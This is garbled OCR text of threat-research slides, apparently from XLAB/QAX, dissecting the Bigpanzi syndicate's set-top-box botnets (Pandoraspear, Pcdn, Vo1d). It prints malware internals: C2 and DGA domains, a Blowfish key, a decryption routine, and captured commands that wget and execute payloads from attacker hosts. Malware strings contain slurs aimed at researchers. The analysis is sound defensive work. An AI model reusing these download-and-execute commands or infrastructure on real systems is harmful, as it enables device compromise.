Big Pa NZI: The Cybercrime Syndicate
Behind Million-Device Botnets



Message From Bad Guys !

"dick surgey isn't cheap”

'‘Wow, you decrypted this. I bet you feel great about yourself. Can u tell me when your dad left?’
‘nextstep.dyn’

‘insight.geek’

'localmarket.indy’

‘clearpath.libre’

'buildbetter.oss’

‘brandlane.parody’ ALIGN 4
'securevault.pirate’ aArrestAlex DCB "Arrest Alex",0
‘adaptiveflow.dyn’

‘craftsuite.gopher’

'buildbetter.oss’

"himanurnice.ru’

"1holdxrp.ru’




WHO ARE WE

U
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Alex Turing
»Kaspersky, 360, QAX

»APT Hunter

>{ Engine | Kernel } Developer
>{ VB | SAS | Botconf } Speaker
> DDoS Researcher

Our Team : XLAB

»Formerly: 360netlab
>Research: DDoS | DNS

ndex:9, b'please. leave me alone netlab. i didnt provoke swear i love you '
index: 18, b GEl /geoip/’res=10&r HITP/I.I\r\nHost: I.I.I.I\r\nConnection: Close\r\n\r\n'
index:11, b'Netlab pls leave me alone I surrender'
index:12, b'getcred.uk’
index:13, b'api.opennicproject.org’

b'xlab gay')
b'paloaltoisgaytoo')
"fproc/")
b'/proc/self/exe")
b'/proc/net/tcp')

bié'ﬂiiiﬂime XLAB GAY
) Palo Alto Networks Is GAY Too
b'socket"')

(
(
(b
(
(
(
(
(b’
(b’
(
(
(b'wget |curl|ftp|ntpdate|echo')
(b'telnetd|upnpc- stat1c|udhcpc|/usr/b1n/1netd|ntpcllent|boa\llghttpd|httpd|goahead|m1n1 http|miniupnpd|dnsmasq|sshd|dhcpd'
(b'/dev/watchdog")

(b'/dev/misc/watchdog")

(b'TSource Engine Query')

(b'shell')

(b'system')

(b' enable )

(b'sh’)

(b' /blnlbusybox AISURU")

(b'ncorrect’)

(b'AISURU: applet not found')

(b'today at xlab, botnet operators learn how to dance macarena')
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Quick Survey

° 3 te
Bigpanzi syndica
Blgpanzl botnet ?

Pandoraspear botneta
Pcdn botnet?
Vo1 d botnet >



Today’ s Menu

Appetizer
»The Bigpanzi Gang Overview

Main Course
»An Unknown ELF Sample (0/64,2021)
»Pandoraspear Botnet (170K,2021)
>Pcdn Botnet (800K, 2024)
>OTA Firmware (APK & Forum)
>Vo1ld Botnet (1.69 M,2025)

Dessert
»Bigpanzi Identity (CTO?)

e G YREENOLITE
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Bigpanzi Overview

History, Assets, Scale ...



Overview - Bigpanzi WooQAX

Some Key Words

v Traceable back to 2016

v" First Reported in 2023

v Pandoraspear & pcdn botnet
v Vo1d botnet

v Million Nodes

v DDoS, Proxy , Ad fraud

v Android Set-Top Box/TV

v eCos Satellite Receiver




Overview - Seized Hardcoded Assets  ¥»-0QAX

2

's] .rodata:000...
s .rodata:000...
51 .rodata:000...
51 .rodata:000...
5] .rodata:000...
51 .rodata:000...
51 .rodata:000...
[s] .rodata:000...
s .rodata:000...
51 .rodata:000...
51 .rodata:000...
's].rodata:000...

0000000E
0000000E
00000010
00000010
0000000F
00000015
0000000F
00000011
0000000F
00000010
0000000F
0000000E

O O O O OO 0O 00O 0O 0O 0O

C2

ok3.mflve.com
ok3.mflve.com
abcr.ftsym1.com
pcn.panddna.com
ppn.pnddon.com
romatotti520.oicp.io
apz.bsaldo.com
jgp.pdltdgie.com

apz.pdonno.com

abcr.ftsym1.com

apz.pdonno.com
ok3.mflve.com

L

C2 & Downloader

"#!/system/bin/sh",@xA
"if [ ! -f ",0x22,"/data/srs.sh",0x22," ]",0xA
"then",0xA
"cd data && wget ",0x22,"http://fadfa.dyance.com:8080/stb-downlo”
"ad/pcdn.tar.gz",0x22," && tar xf pcdn.tar.gz && rm -rf pcdn.tar.”
"gz",0xA
"Fi", OXA
0

DCB "zas8wie.snarutox.com",®@

ALIGN 4
DCB "in32hbccw.oneconcord.net",8

ALIGN 8
DCB "pu9z3cca.trumpary.com",®

ALIGN 6x1@
DCB "kp519bpa.fireisi.com",@

ALIGN 4
DCB "hgxx123p.ourhousei.com",®



Overview - Scale T QAX

Daily active: 800,000+ 86% located in Brazil




Overview - Seized DGA Assets W QAX

256+ DGA C2

f024fd9.top

da44féb.top

10945f1.top

44cOeec.top

38043e.top

8594a17.top

B204aeb.top

2794605.top

437455¢c.top

a7541ab.top

042986.top

12c2dd4.top

e49b7ec.top

)714551.top

/d4756.top

124ab6cb.top

)35ebc7.top

f197570.top

cad4fee.top

daOddO.top

1965680.top

7946b.top

:bc39d1.top




Overview - Scale T QAX

Peak: 1.58M+
Daily : 900,000+ Worldwide
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The Genesis of All

An ELF sample from 2021

Packer, DDoS, Mirai, C2 ...



The Unknown - Packer B0 QAX

VT live hunt standard upx

TF 45 4C 46-01 01 01 03-00 00 00 00-00 00 O ELF LI
L mport “e1r 03 00 28 00-01 00 00 00-94 Fl OB 00-34 00 00 00 O(O <2204
2 rule modified upx D8 4E 03 00—00 00 00 05-34 00 20 00-03 00 28 00 <?N[I A O(
3 { 03 00 01 00-01 00 00 00-00 00 00 00-00 00 00 00 [T
4 condition: 00 00 00 00-00 10 00 00-CC AC 08 00-06 00 00 00 Ll 22000
> positives <=5 and ) 00 10 00 00-01 00 00 00-00 00 00 00—00 BO 08 00 [ [ 20
s (elf;::mber‘_of_sectlons::@ or elf.number_of_sections > 50) and elf.number_of_segments <=3 00 BO 08 00_8D 4B 03 00_8D 4B 03 00_05 00 00 00 ODOKDOKDD
: ( 00 10 00 00-51 E5 74 64-00 00 00 00-00 00 00 00 [ Q?td
9 ( 00 00 00 00-00 00 00 00-00 O 00 06 00 00 00 [l
10 uint8(ex4)==6x1 and uints(exs)==0x1 00 00 00 00-ED 5B 6E EC- i-0C 0A OE 17 2 [n? R4 I

11 and

12 uint32(0x34+elf.number_of_segments*0x20+0x4)!=0x21585055 @ IPXU

13 and @)

14 uint32(ox34+elf.number_of_ segments*ox20+0xc)==0x9 m O I I e u pX
15 and

16 uint32(ex34+elf.number_of_segments*ox20+0x10) !=0x@

17 and TF 45 4C 46-01 01 01 03-00 00 00 00-00 00 00 O ELF LI

18 uint32(@x34+elf.number_of_segments*0x20+0x10)>=uint32(0x34+elf.number_of_segments*@x20+0x14) 03 00 28 00-01 00 00 00-0C AA 03 00-34 00 00 00 D( ] 2014

” and . 00 00 00 00-00 00 00 05-34 00 20 00-03 00 28 00 4 [O(
1f.number_of_segments*0x20+0x14 . *

ii :;2t32(0x34+e _of_seg )>uint32(0x34+elf.number_of_segments*0x20+0x18) 00 00 00 00-01 00 00 00-00 00 00 00-00 00 00 00 D

22 uint32(0x34+elf.number_of_ segments*0x20+0x18)>uint32(0x34+elf.number_of_ segments*0x20+0x1c) 00 00 00 00-43 B3 03 00-43 B3 03 00-05 00 00 00 crcod

23 and 00 10 00 00-01 00 00 00-00 00 00 00-00 CO 03 0O [IJ I ?0]

24 uint32(0x34+elf.number_of segments*@x20+0x1c)!=0 00 CO 03 00-00 00 00 O0O-CC D4 05 00-06 00 00 00 201 220101

- and . . 00 10 00 00-51 E5 74 64-00 00 00 00-00 00 00 00 [ Q2?td

26 uint32(6x34+elf.number_of_segments*0x20+0x10)>filesize 00 00 00 00-00 00 00 00-00 00 00 00-06 00 00 00

L
o ) 00 00 00 00-AA 12 24 BF(GEEIUWPANET-48 09 0D 17 edB ¥ @ (i (MW



The Unknown - Packer T QAX

It works!!!
31/64 11/64

7F 45 4C 46-01 01 01 03-00 00 00 00-00 00 00 00  ELFLIIII 7F 45 4C 46-01 01 01 03-00 00 00 00—-00 00 00 00  ELFLIII]I

03 00 28 00-01 00 00 00-0C AA 03 00-34 00 00 00 OI( O 204 03 00 28 00-01 00 00 00-0C AA 03 00-34 00 00 00 [I( O 204
00 00 00 00-00 00 00 05-34 00 20 00-03 00 28 00 4 O( 00 00 00 00-00 00 00 05-34 00 20 00-03 00 28 00 A 0O(
00 00 00 00-01 00 00 00-00 00 00 00-00 00 00 00 Ll 00 00 00 00-01 00 00 00-00 0O 0O 00-00 00 00 00 L]

00 00 00 00-43 B3 03 00-43 B3 03 00-05 00 00 00 ceucu 00 00 00 00-43 B3 03 00-43 B3 03 00-05 00 00 00 ceoc?ny
00 10 00 00-01 00 00 00-00 00 00 00-00 CO 03 00 LI LI 20 00 10 00 00-01 00 00 00-00 00 00 00-00 CO 03 00 [ [ ?0
00 CO 03 00-00 00 00 00-CC D4 05 00-06 00 00 00 2Ll YedmIN 00 CO 03 00-00 00 00 00-CC D4 05 00-06 00 00 00 2L ?elI0d
00 10 00 00-51 E5 74 64-00 00 00 00-00 00 00 00 [] Q?td 00 10 00 00-51 E5 74 64-00 00 00 00-00 00 00 00 [ Q?td

00 00 00 00-00 00 00 00-00 00 00 00-06 00 00 00 [ 00 00 00 00-00 00 00 00-00 0O 0O 00-06 00 00 00 L]

00 00 00 00-AA 12 24 BF- -48 09 0D 17 ?L8? HL 1L 00 00 00 00-AA 12 24 BF+ -48 09 0D 17 F4 B FROMA [ HIN




The Unknown - DDoS TuwoQAX

Strings Borrow code from mirai

= calloc(lu, 8u);
[4] = o;
= (unsigned

int8)byte 5DADO;
/htv/attack.log +(oHoR )

= 11C((~‘1, )dWO ~d S5DAD4, 4 - -

dword_5DAD4 = (int)v2;
%d), child (%d) attacks %s, UDP\n [ursignac inca)pyte_somoe] -
PID %d forking
PID %d forking

byte 5DAD® =
n) M 0, (e) = c?llc.x(lu, 8u);
%d), child (%d) attacks %s, SYN\n e
= realloc(v2, 4 * + 4);

%d), child (%d) attacks %s, ICMP\n duord_SDADS ~ (1int)yS;

[(unsigned __intg8)byte_5DADO] =

[410;D * ==IHHIEEEHEII.II
%d), child (%d) attack-bcast %s, SMURF\n O

dword_5DAD4 = (int)v8;

PID %d forking
PID %d forking
PID %d forking

dword_5DAD4 = (int)

Failed to create raw socket. Aborting attack Sovee e 15

[(unsigned __int8)byte_5DADO] =
byte 5DADO = ;

= calloc(1lu, 8u);

[4] = 35

*(_DWORD *) =|sub_3AB24;
E3

= realloc(vil, 4 +4);

= byte_5DADO + 1;

%d), child (%d) attacks %s, TARGA3\n oL gt by esoaDe] =

= calloc(1lu, 8u);

%d), child (%d) attacks %s, DNSFLOOD\n v DR =

= realloc(vs, 4

(#%d)
(#%0)
(#%d)

PID %d forking (#%d), child (%d) attacks %s, MIX\n 7 ealloctan, s mirai atjtack init
(#%d)
(#%d)
(#




The Unknown - Backdoor

WoLQAX
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to emdid
Column  Pseudocode line
cmdid = atoi((const char *)&v128);
v54 = emdid;
if ( cmdid :
if ( cmdid :
if ( emdid
if ( emdid
if (cm
if ( emdid
else if (emdid >=35)
sub_113F0(v102, cmdid);
else if (emdid >=31)
if (cmdid >=32)
else if (emdid >=12)
if (cmdid >=21)
if (cmdid == 21)

O ~ »n W

w o w oo,

[ LS S T LS T 6 RS 6 N LS T LS S B LS I A I N )
co

IDA REFS

w

rn
[=2]

19
19

o

if ( cmdid :
if (cmdid >= 201)
if (emdid == 201 && v52 >=6)
else if (cmdid == 110)
else if ( cmd =42)
if (cmdid >= 88)
if (cmdid == 88)
else if (cmdid == 42)
if (cmdid < 4004)
if (cmdid >= 5555)
if (cmdid >= 6269 )
if ( cmdi 6269 )
else if ( cmdid == 5555)
else if ( cmdid >= 5000 )
if (cmdid == 5000)
else if (cmdid == 4004 )

oW

W o—

NN NN N
=

Line 16 of 39

Cancel




The Unknown - C2 TuwoQAX

aOk3MflveCom bCcB | ok3.mflve.com ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

4 GROUP

aOk3MflveCom DCB ['ok3.mflve.com",90,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aAbcrFtsymlCom © DCB| "abcr.ftsyml.com",9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aPcnPanddnaCom DCB ["pcn.panddna.com™,

gmemcpy ( "ok3.mflve.com", ©x60u);

gmemcpy ( "pcn.panddna.com”, sizeof( )); aPpnPnddonCom

aRomatotti5200i

gmemcpy ( "apz.bsaldo.com"”, sizeof(

aApzBsaldoCom
gmemcpy ( "abcr.ftsyml.com", sizeof( P

algpPdltdgieCom "jgp.pdltdgie.com
aApzPdonnoCom "apz.pdonno.com”,®
aAbcrFtsymlCom

aApzPdonnoCom_© "apz.pdonno.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
aOk3MflveCom_© "ok3.mflve.com",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0




The Unknown - A Big FISH W0 QAX

170,000+ at the peak

50,000+ bots

> located in Brazil
> cyclical fluctuations

N




The Big Fish Bites Back moQAX

We observed
O Bot Scale is

We experienced adversarial
operations

O Xlab Sinkhole Server is under
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A Ghost with Roots in 2016

The Bothet

Evolution, Algorithm, Harvest, Leads ...



Pandoraspear - Samples 2o QAX
[ )
From 20716 to 2024, 15 versions

I

n Name Size Date [Time
.. Up 24/09/27 |17:27
andoraspear_ 0001 62776 [21/05/28 |17:08
andoraspear_0002 62776 [21/05/30 [15:53
andoraspear_ 0003 116080 08/02/29 [10:33
andoraspear_ 0004 316796 09/01/01 00:00
andoraspear_0005 349684 08/02/29 [10:33
andoraspear_0006 345588 [23/09/24 [15:03
andoraspear_ 0007 329204 R21/07/30 [12:36
andoraspear_ 0008 361972 21,/06/02 [16:07
andoraspear_0009 431604 22/09/30 [15:46
andoraspear 0010 448040 23/12/15 22:36
andoraspear_ 0012 243316 24/09/25 [18:25
andoraspear_0014 229868 [24/09/25 [18:23
andoraspear 0015 229868 [24/07/26 [16:41
andoraspearrk 0010 2304 K 23/12/26 [14:13
andoraspearrk_0013 1133 K [24/09/25 [18:23
andoraspearrk 0015 1142 K 24/09/08 [12:25




Pandoraspear - Evolution W QAX

Leader in next-generation cybersecurity

V4: leverage Mirai attack
vectors

2016.x - 2023.12

> 8 years
> V1 -V10

2024.01 - 2024.09]
> 9 months |
> V11 -V15 =

V14: New C2 / Hosts Server
2024.0.29

gmemcpy ( ok3.mflve.com", @x80u);

qmemepy ( "pcn.panddna.com”, sizeof( ))s
qmemcpy ( "apz.pdonno.com", sizeof( DK

qmemepy ( "alwkic.vdehle7d.com", sizeof( ))s
qmemcpy ( "hxbwhnxs.bvltpvdco.com", sizeof( ))s;

qmemepy ( "ynqq.graeslhdo.com", sizeof( ));
qmemcpy ( "http://pandoramain.kslado.com:808@/marketdatas/dns/hosts", sizeof( ));
qmemcpy ( "http://pandorabackup.lftpdo.com:808@/marketdatas/dns/hosts", sizeof( ))s




Pandoraspear - Evolution 2o QAX

2024.01 - 2024.09
> 9 months
> V11 -V15

V14: New C2 / Hosts Server
2024.07.29

gmemcpy ( ok3.mflve.com", @x8eu);

gmemcpy ( "pcn.panddna.com”, sizeof( )
gqmemcpy ( "apz.pdonno.com", sizeof( s
gmemcpy ( alwkic.vdehle7d.com", sizeof(

gmemcpy ( hxbwhnxs.bvitpvdco.com”, sizeof(

gmemcpy ( ynqq.gr8651lhdo.com™, sizeof( ))s;

gmemcpy ( "http://pandoramain.kslado.com:8080/marketdatas/dns/hosts", sizeof(
gmemcpy ( "http://pandorabackup.lftpdo.com:8080/marketdatas/dns/hosts”, sizeof(

http://pandorabackup.lftpdo.com:8080/marketdatas/dns/name
ok3.mflve.com
yfyrtnpa.bggs1g0Oce.com
apz.pdonno.com
ttvbcgq.cd67Igioe.com
pcn.panddna.com
ppn.pnddon.com
avmrtd.7vionovt.com
pootjgb.jgilaenvo.com
apz.pdonno.com
jopfdalod.com
alwkicvdOhle7d.com
apz.bsaldo.com
alwkicvdOhle7d.com

pootjgb jgilaenvo.com

jgp-fdalod.com New Infra Structu res
pcn.panddna.com

hxbwhnxs.bv1tpvdco.com

qwfxoxk.Ifh5gcobf.com

ynqq.gr865lhdo.com

zooed.78vaelocd.com

ynaa.gr865lhdo.com

zooed.78vaelocd.com

pootjgb.jgilaenvo.com

pcn.panddna.com

http://pandoramain.ks1ado.com:8080/marketdatas/dns/hosts
http://fvcgrsas.lfhgdo.com:8080/marketdatas/dns/ho:
http://pandoramain.gdw1gie.com:8080/marketdatas/dns/hosts
http://pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts
http://pandorabackup.lftpdo.com:8080/marketdatas/dns/hosts
http://werdzxa.9lhgdo.com:8080/marketdatas/dns/hosts
http://pandorabackup.lfgs1gie.com:8080/marketdatas/dns/hosts
http://pandorabackup-13229081 west-2.elb.amazonaws.cor 80/marketdatas/dns/hosts




Pandoraspear - Functionality

WoLQAX
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From 2016 to 2024, 15 versions

In

pandoraspear 0001
pandoraspear 0002
pandoraspear 0003
pandoraspear_ 0004
pandoraspear_ 0005
pandoraspear 0006
pandoraspear_ 0007
pandoraspear 0008
pandoraspear 0009
pandoraspear 0010
pandoraspear 0012
pandoraspear 0014
pbandoraspear 0015
pbandoraspearrk 0010
pandoraspearrk 0013
pandoraspearrk 0015

Name

Size
Up
62776
62776
116080
316796
349684
345588
329204
361972
131604
148040
243316
229868
229868
2304 K
1133 K

1142 K

Date
24{09{27
21/05/28
21/05/30
08/02/29
09/01/01
08/02/29
23/09/24
21/07/30
21/06/02
22/09/30
23/12/15
24/09/25
24/09/25
24/07/26
23/12/26
24/09/25

24/09/08

Time

17:
: 08
15:
10:

17

00

10:
:03
12:
16:
146
P2
125
123
16:
14:
123

15
15
18
18

18

12

2]

53
33

33

36
07

36

41
13

: 25

Key Features

.00 1. Hijack Hosts
2. Launch Pcdn
3. Execute C2 commands



Pandoraspear — Hijack Hosts B2 QAX

D @ Index of /marketdatas/dns X +

2 StEI ’S < G A FH7% | pandoramain-1794008345.us-west-2.elb.amazonaws.com:8
& Parent Directory _

1. Downloads an encrypted hosts file from

[ freeze
@) hosts
[?) hosts_20170727
[?] hosts_20180627

27-Nov-2020 17:09 408
10-Mar-2025 10:04 2.5K
27-Jul-2018 13:59 396
27-Jun-201815:13 84

remOte Server’ decrypts it With BIOWfiSh @ hosts 20180627 localhost _tigre 27-Jun-2018(15:44 168

[?] hosts_20180727 27-Jul-2018 13:56 180

c . o 7l h 20180730 -Jul-2018 12:59 1.
2. Replaces the device's /etc/hosts file to %hi:z:zmo;o il e

perform DNS h|Jack|ng [) hosts_20180821 10-Aug-2018 10:15 972
(2] hosts_20181011 21-Aug-2018 16:08 1.3K

[?] hosts_20181016 11-Oct-2018 17:08 1.3K

[z hosts_20181024 16-0Oct-2018 09:53 1.3K

Re m o te Se r"e r [z hosts_20190308 08-Mar-2019 10:32 1.3K
[3 hosts 20190313 14-Mar-2019 09:36 1.2K

(2] hosts_20190314 14-Mar-2019 09:39 1.5K

http://werdzxa.9lhgdo.com:8080/marketdatas/dns/hosts [?) hosts_20190326 26-Mar-2019 11:42 1.2K
http://fvcgrsas.lfhgdo.com:8080/marketdatas/dns/hosts [?] hosts_20190708 08-Jul-2019 19:39 1.5K
http://pandoramain.ks1ado.com:8080/marketdatas/dns/hosts [?] hosts_20190819 19-Aug-2019 09:51 1.6K

[E] hosts 201807291302 29-Jul-2018 13:00 1.5K

[?] hosts_back 15-Apr-2020 14:44 1.6K
[?] hosts_old_20191010 10-Oct-2019 16:09 1.6K

http://pandoramain.gdw1gie.com:8080/marketdatas/dns/hosts

http://pandorabackup.lftpdo.com:8080/marketdatas/dns/hosts
http://pandorabackup.lfgs1gie.com:8080/marketdatas/dns/hosts
http://pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts
http://pandorabackup-1322908155.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts



Pandoraspear - Algorithm B2 QAX

Reasons for

Index of /marketdatas/dns (not base64) We observed

- fstmadied S Beseption 1. Code Table replacement O Bot Scale is

¥ Parent Directory - . °
[g:’e_ezetD o 27-Nov-2020 17:09 408 2. Shlft caICUIatlon
10-Mar-2025 10:04 2.5K 3. BIOWfiSh ECB decryption BB 7642 edit hosts-10-Mar-2025.decrypted - Far 3.0

D @ pandoramain-1794008345.us-we: X ES 142. 0. 141. 169 cdab. p2mgt. com
94.75.218. 122 bl. str2c. com
81.171.0. 77 img. pZ2mqt. com
23.12.198. 18 ageniusvod. cc
tab = 18. 182. 215. 73 dmdz. res4f. com
for i in range(len(dec)): 18. 182. 215. 73 pbx. ty3w2. com
173. 255, 221. 98 apz. bsaldo. com
. . 71.19. 252. 13 jgp. pdltdgie. com
myList.append(index) 71.19. 250. 244 jdak. jdsaf. com
71.19. 250. 244 jdl. oygaf. com
71.19. 250. 244 hts.nfdaf. com
for i in range(0, len(mylist), 6): 71.19. 250. 244 hsh. kfdaf. com
207. 38. 87. 205 jdz. lgdaf. com

& O 5 - pandoramain-1794008345.us-west-2.elb.amazonaws.com

index = tab.find(dec[i])

ETE .[f . 207. 38. 87. 205 zms. mgfdaf. com
or j in range(6): 52.8.212. 100 snh. oygaf. com
tmp A= mylist[i + j1 << (J * 6) b4.183.19. 241 snh. kfdaf. com
output.append(tmp) 23.12.198. 16 brasilhtv—epgl. cc
output[@::2]1, output[1::2] = output[1::2], output[0::2] iz%gffggigg 4D - COI
S . (9. 209, - { 2
T LT o , 118. 184. 69. 3 vfz. str2c. com
; o . R . hAr ; s = struct.pack( oD 142. 0. 141. 169 dcs. reakf. com
s /0A/ L. knFYS - OLT! ACY OF out += s 198. 255. 88. 146 dcs. tefds. com

cTn. jtEXP. 0YQ
Ql

198. 16. 66. 162 gsb. reakf. com
23.237.10.90 gsh. tefds. com
104. 21. 69. 84 fadfa. gdalieyw. com

bl = Blowfish.new(b"zAw2xidjP3eHQ", Blowfish.MODE_ECB) e
4 ¢ 104. 18. 6. 202 fadfatest. pneydn. com

pl?lntEXt = bl.decrypt(out) www. qicicloud. xyz www. tenlsil. club
; ; i o o print(plaintext) api.qicicloud. xyz api. tenlsil.club
TcfoKOnhR th Y= / 99 : = =
p. MLOYa i . oo 35. 244. 233. 48 jdl. pugexiz. com
- KE ) it 1h . 34. 49. 250. 227 jdl. hgdsd. com

34, 102. 166. 127 clali. pglma2tla. com
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im] ) MalwareSourceCode/linux/Backe X~ -

<> Code @ Issues

[1 Files

lequirements:
3xamples:
_icense:
‘redits:
Compiling:

\uthor:

[ntroduction

b.com/uxundergroun rceCode/blob/main/Linu

6 Il Pull requests ® Actions @ Ssecurity |~ Insights

MalwareSourceCode / Lir a / Backdoor.Linux.Lyceum.7z i8]

lyceum—2. 46 22/07/04

Perl for encryption key generation

See EXAMPLES

See COPYING

See CREDITS

make to compile. Edit the makefile to disable encryption and
authentication

phish@hush. com

Lyceum is a stealth client/server backdoor that uses spoofed udp packets to
administer the server and two built—in iemp backdoors. Each ICMP backdoor
exploits a different feature of the protocol to remain as clandestine as
possible. The first create a bidirectionally spoofed ICMP tunnel and the
second uses passive nodes as zombies to relay ICMP backdoor traffic. By

default

all communications are encrypted with 128bit blowfish using a

random token that is generated at compile time. Lyceum clients may only
interact with lyceum servers that have been compiling using the same
key.h file.

NB. Consider lyceum BETA

[CMP Backdoors

“Borrow Code” From Lyceum

char *
decrypt_string

UWORD _32bits
char #*p, #*s,
int i;

(char *key, char *str)

left, right;
*dest, *d;

#ifdef _NO_ENCRYPTION_

return str;
#endif

dest = (char
s = (char *)

*) malloc (strlen (str) + 12);
malloc (strlen (str) + 12);

strepy (s, str);

P = 5;
while (¥p)
pH;

for (i =0; i < 12; i+

kptt = (];

blowfish init (key, strlen (key), 0);

D = 8;
d = dest;
While (*p)

right = 0L;

left = 0L;

for (i =

blowfish_

for (i =
#d+
for (i
*kd++

}

*d = 0;
free (s);
return dest:

0: i < 6; i+%)
= (baseb4dec (¥p++)) << (i * 6);

=0; 1 < 6; i++)

(base64dec (*p++)) << (i * 6);
decipher (&left, &right);
0; i< 4; i+
(left & (0xff << ((3 — i) * 8))) > ((3 - 1) # 8);
0; 1 < 4; i++)
(right & (0xff << ((3 — i) * 8))) > (38 - 1) * 8);



Pandoraspear — Launch Pcdn 2o QAX

byte_68960

2 Steps
1. Decrypt Sensitive Strings _

2. Build them into a Launch script

byte_689C@

byte_689D4

#!/system/bin/sh

pid="ps|grep —v grep|erep “/system/bin/pcdn” |awk ’ {print $2} "
if [ —z $pid J;then

/system/bin/pedn >/dev/null 2>&1 &

or

/data/. pecdn >/dev/null 2>&1 &

fi

DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB
DCB

OxB,0x1B, 0x4C, 0x58,0x5E, 0x24,0x88 ,0x96, Ox88, 0x81
0x92,0x9A, 0x24, 0x9F ,0x66,0x9B,0x24,0x88,0X65, 7
0x8D, OX66,0x91, 0x4A, 0x9D, 8x8D, 0x88,0X89, 8X9C , OXSF
©x92,0x8D, 0X5D, @X5A, 0x83,8x5D, 0X9C, OXSF , 8x92, OX8D
0x89,0x9C, Ox8F,0x92,0x8D,8x5D, Ox5F ,0x52 , 0x88 , OX5F
0x89,0x9E , 0x8C, 0x60,0x5D,8x5C,0x90, 0x8D, OX8F , OX66
©x9B,0x81,0x5D, @x51, 0x4F ,8x8A,0X5C,0x9D,  7,0X66
©x93,0x5D,0x70, @x5D, Ox5A,8x97,0x5D, 0x51, 0x8D, OX66
0x91,0x5D, 0X6A, 0X50,0x81,0x65,0x92,0x9B,  7,0x52
ox88, 7,0x93,0x66, 7, O
Ox76,0x1E,0x78,0x69,0x3D,8x33,0x3D, 0x3E, Ox2F, 0x27
0x69,0x2C,0x23,0x28,0x69,0x3A,0x2D, 0x2E,0x28, O
OxBF,0x14,0x89,0xB0, 0xF4,0xCE,0xF4, 0XCB, OXFA, OxF2
©xBO, OXES, OXFE, @XF1,0xB0,8xF7,0XE4, OXFB, 8XF1, OXA7
@x81,0xB0,0xFB, OxFA,xC9,0xB0,0xF1,0xCA, OxF3,0xF3
OxA7,0xB5,0x81,0xB9,0xB6,0xA7,0xB9, 0O

Pandoraspear & Pcdn
“close friend”



Pandoraspear - Algorithm B2 QAX

Format

byte_689D4 DCB @xBF,@x14,0x89,0xB0, 0xF4,OXCE, OxF4, OXCB, OXFA, OXF2 v First 3 bytes are encryption keys (keyO, key1, key2)
DCB 0xBO,0XE5,0XFE,OxF1,0xB0,0xF7,0xE4,OXFB,OXF1,0XA7 v" Remaining bytes are ciphertext
DCB 0x81,0xB0,0xFB,0xFA,0xC9,0xB0,0xF1,0xCA, OXF3,0xF3 v Ciphertext length = key0 " key1 " key2
DCB OxA7,0xB5,0x81,0xB9,0xB6,0xA7,0xB9, 0

def decbuf (buf) :

leng=buf[0] "buf[1] buf[2]
out=""

for i in range(3, lengt3):
tmp=((buf [1] "buf[1])-buf [1]) &Oxff
out+=chr ((tmp "buf[0]))

print (out)

"/system/bin/pcdn >/dev/null 2>&1 &",0



MQAX

Pandoraspear — Execute C2 CMD QA

2 Steps

1. Send an encrypted beacon to C2

2. Decrypt C2 commands and execute
the corresponding functions

Beacon Format {1 or 2}

Support two formats based on SN
retrieval success

info_1p = t
if ( && get_ 1p1nfo( ) < @)
get_ipinfo((char **)info_ip);
if ( get_sninfo(&info_sn) )
{ . format 1, mac related
= getpl :
sprintf( "%d@%s%s@%s@%d@", 1008, "12.
¥

else
{
info_sn;
getpid();
sprintf(

"kd@%s@%s@%d@%02x%02x%02X@%0 2 s@%s@%s@" ,
1ee0,

(const char *)( + 38),

"eee8",

__int8 *)(info_sn + 34),
_int8 *)(info_sn + 35),
__int8 *)(info_sn + 36),
char **)(info_ip + 16),
t char **)(info_ip + 8),
t char **)(info_ip + 20));

format 2, sn & ip related



Pandoraspear — Beacon Harvest 2o QAX

Ve I S I o n R
Time + ctags geo.country_name city_name appl.ptext

pandoraspear 2 Br

3264 0004
4785 0006 s s
9360 0005 -
12397 0007
46178 0009
175722 0008
992537 0010

jolania




Pandoraspear - Command Harvest 2o QAX

120,000+

123,676 hits

Sep 7, 2022 @ 07:35:26.673 - Oct 17, 2023 @ 07:15:44.624 per Month

Command Format

cnd@cmd item1@cmd item2@...@ saotnomn 4 Tdata 16 m - .50 .12 .1og 8 et iR/ /185.154. 16841 5 che

g.668 9 c a ri r .sh *.log && wget : .154, X chmod 7
8.868 9 6 c a ri rf a.sh = txt *.log && wget : .154. chmod

.BeB 9 6 c a ri rf a.sh =.txt *.log && wget .15 s| chmod

.eee 9,999 : c a rm -rf a.sh *.1og && wget : .154. /a.sh && chmod 7

.eee 9 b c E rm -rf a.sh .log &R wget : . sh && chmod

.Beg 9 c a ri r .sh *.tx log && wget http .154., sh && chmod

.BeB 9 : c a ri r .sh *.log && wget http: .154.1 /a.s chmod
9.868 9 6 c E ri rf naa.sh && wget http://fadfatest.pneydn.com:888 tb-download/tool/naa.sh && chmod 755 naa.sh &% /data/naa
8.888 ¢ : c a rm -rf naa.sh && wget http://fadfatest.pneydn download/tosl/naa.sh & chmed 755 naa.sh && /data/
8.888 9,999 : c a rm -rf naa.sh && wget http://fadfatest.pneydn. download/tosl/naa.sh & chmed 755 naa.sh &% /data/
.aee g b C E r rf ./evlls/lo

.6es g : c E r rf ./evlls/lo

aae g c a r rf ./evlls/log




Pandoraspear - New Leads oQAX

N ew I m p I d nts at est.pm@ydn.comz8080/
> Pcdn _ fadfatest.pneydn.com:8080/
> Ptcrack
fadfa.gdalieyw.com:8080/ /tool/p2
> P2p_peer 50.7.118?114:1)9,001 _
» Play station /Pandoraspear dd.sh
> Sysup ' o
- 195.154.168.94/pandoraspearrk

URLPattern @ gm
> [stb-download/

‘ OTA FIRMWARE
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Inextricable Duo

The Android Pccn Botnet

Evolution, Algorithm, Harvest, Leads ...
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7 Samples with subtle differences

I

pcdn 2018
pcdn 2018 12
pbcdn_2019
pcdn_2019_05

pcdn 2021

pcdn_2024 03

pcdn_2019 06
pcdn_2021 unpacked

pcdn 2024 03 unpacked

Name

263104 [09/01/01 j00:00
283584 [08/02/29 |10:33
195252 21/08/12 |16:10
357696 [24/09/27 [20:48
178416 [24/03/19 [17:57
